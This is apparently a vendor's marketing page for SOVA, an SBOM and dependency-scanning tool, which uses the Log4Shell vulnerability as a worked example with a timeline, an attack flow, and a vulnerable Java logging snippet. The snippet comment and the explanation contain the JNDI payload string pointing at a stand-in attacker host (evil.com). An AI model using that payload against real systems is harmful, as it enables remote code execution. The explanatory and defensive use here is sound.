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Generate comprehensive SBOMs in industry-standard formats. Track every component, dependency, and version across your entire software supply chain.
The Problem
When Log4Shell hit, most organizations spent days just figuring out if they were affected. Without a complete software inventory, you're flying blind.
3 Days
Average time to assess Log4Shell exposure
Organizations without SBOMs spent an average of 3+ days determining their Log4Shell exposure — while attackers exploited the vulnerability within hours.
40%
Dependencies unknown to teams
Synopsys found that 40% of codebases contain open source dependencies teams didn't know about. Transitive dependencies are invisible without proper tooling.
6 hrs
CERT-In incident reporting deadline
India's CERT-In mandates 6-hour incident reporting. Without an SBOM, you can't identify affected components fast enough to comply.
Real-World Incident Analysis
criticalCVE-2021-44228
Attack Timeline
Nov 24, 2021
discovery
Reported to Apache
Alibaba Cloud security team reports vulnerability
Dec 9, 2021
disclosure
Public disclosure
CVE-2021-44228 assigned, CVSS 10.0
Dec 10, 2021
exploit
Mass scanning begins
Worldwide exploitation attempts detected
Dec 11-17, 2021
impact
Organizations scramble
Teams spend days finding Log4j in dependencies
Dec 17, 2021
patch
Log4j 2.17.0 released
Apache releases final patched version
Nov 24, 2021
Reported to Apache
Alibaba Cloud security team reports vulnerability
Dec 9, 2021
Public disclosure
CVE-2021-44228 assigned, CVSS 10.0
Dec 10, 2021
Mass scanning begins
Worldwide exploitation attempts detected
Dec 11-17, 2021
Organizations scramble
Teams spend days finding Log4j in dependencies
Dec 17, 2021
Log4j 2.17.0 released
Apache releases final patched version
Attack Flow
Attacker
Sends crafted JNDI lookup string
Web Application
Logs user input containing payload
Log4j Library
Processes JNDI lookup in log message
Attacker LDAP Server
Returns malicious Java class
Remote Code Execution
Arbitrary code runs on target server
Attacker
Sends crafted JNDI lookup string
Web Application
Logs user input containing payload
Log4j Library
Processes JNDI lookup in log message
Attacker LDAP Server
Returns malicious Java class
Remote Code Execution
Arbitrary code runs on target server
Vulnerable Code
1import org.apache.logging.log4j.LogManager;2import org.apache.logging.log4j.Logger;34public class UserController {5private static final Logger logger = LogManager.getLogger();67public void handleRequest(String userAgent) {8// VULNERABLE: User input logged directly9logger.info("User-Agent: " + userAgent);10// Attacker sends: ${jndi:ldap://evil.com/exploit}11}12}
What Happened
Log4j processes JNDI lookup strings in log messages. An attacker sends ${jndi:ldap://evil.com/exploit} as a User-Agent header. Log4j resolves the lookup, fetching and executing remote code from the attacker's server.
How SOVA Prevents This
SOVA would have answered 'Do we use Log4j?' in seconds, not days.
Dependency Detection
ParserEngine detects log4j-core in transitive dependencies across 30+ languages
SBOM Generation
SbomEngine generates CycloneDX 1.6 SBOM with full dependency tree
Vulnerability Alert
VulnerabilityManagementEngine flags CVE-2021-44228 from NVD + GHSA + OSV + Scout DB
Blast Radius
Shows 47 projects affected across 12 repositories in your organization
Patch Guidance
Patch enrichment: Upgrade to log4j-core >= 2.17.0
Dependency Detection
ParserEngine detects log4j-core in transitive dependencies across 30+ languages
SBOM Generation
SbomEngine generates CycloneDX 1.6 SBOM with full dependency tree
Vulnerability Alert
VulnerabilityManagementEngine flags CVE-2021-44228 from NVD + GHSA + OSV + Scout DB
Blast Radius
Shows 47 projects affected across 12 repositories in your organization
Patch Guidance
Patch enrichment: Upgrade to log4j-core >= 2.17.0
How It Works
Git Repositories
GitHub, GitLab, Bitbucket
Container Images
Docker, ECR, GHCR
CLI & Archives
ZIP, TAR, local scan
ParserEngine
30+ ecosystems, AST-aware
SbomEngine
10-level transitive depth
ComplianceEngine
6 global frameworks
CycloneDX 1.6
OWASP vulnerability standard
SPDX 3.0
Linux Foundation standard
Compliance PDF
Audit-ready evidence packet
Git Repositories
GitHub, GitLab, Bitbucket
Container Images
Docker, ECR, GHCR
CLI & Archives
ZIP, TAR, local scan
ParserEngine
30+ ecosystems, AST-aware
SbomEngine
10-level transitive depth
ComplianceEngine
6 global frameworks
CycloneDX 1.6
OWASP vulnerability standard
SPDX 3.0
Linux Foundation standard
Compliance PDF
Audit-ready evidence packet
Output
Software Package Data Exchange standard by The Linux Foundation. Widely adopted for license compliance.
Security-focused SBOM standard by OWASP. Optimized for vulnerability management and risk assessment.
Our USP
Most SCA tools stop at direct dependencies or 2-3 levels deep. SOVA traces every transitive chain up to 10 levels — because the vulnerability hiding at level 8 is just as dangerous as the one at level 1.
Recursive graph analysis across 28+ languages with cycle detection
Depth Comparison
Capabilities
Why This Matters
Log4Shell was a transitive dependency in most projects — hidden 3-7 levels deep. Organizations that only scanned direct dependencies never found it until it was too late.
Why SOVA
Capability
Without SOVA
With SOVA
Dependency inventory
Manual spreadsheets, outdated
Auto-generated, real-time across 30+ languages
Transitive dependencies
Invisible, unknown
Full tree with ParserEngine depth analysis
SBOM format support
One format, maybe
CycloneDX 1.5/1.6, SPDX 2.x/3.0, Syft, OpenVEX, CSAF
Compliance scoring
Manual audit prep
Auto-scoring: BSI, CERT-IN, CISA, EU-CRA, NIS2, SEBI
Cross-project search
Grep across repos
Instant search across entire SBOM database
Incident response time
Days to weeks
Seconds to minutes
Analyze your project's dependencies and get a comprehensive Software Bill of Materials in minutes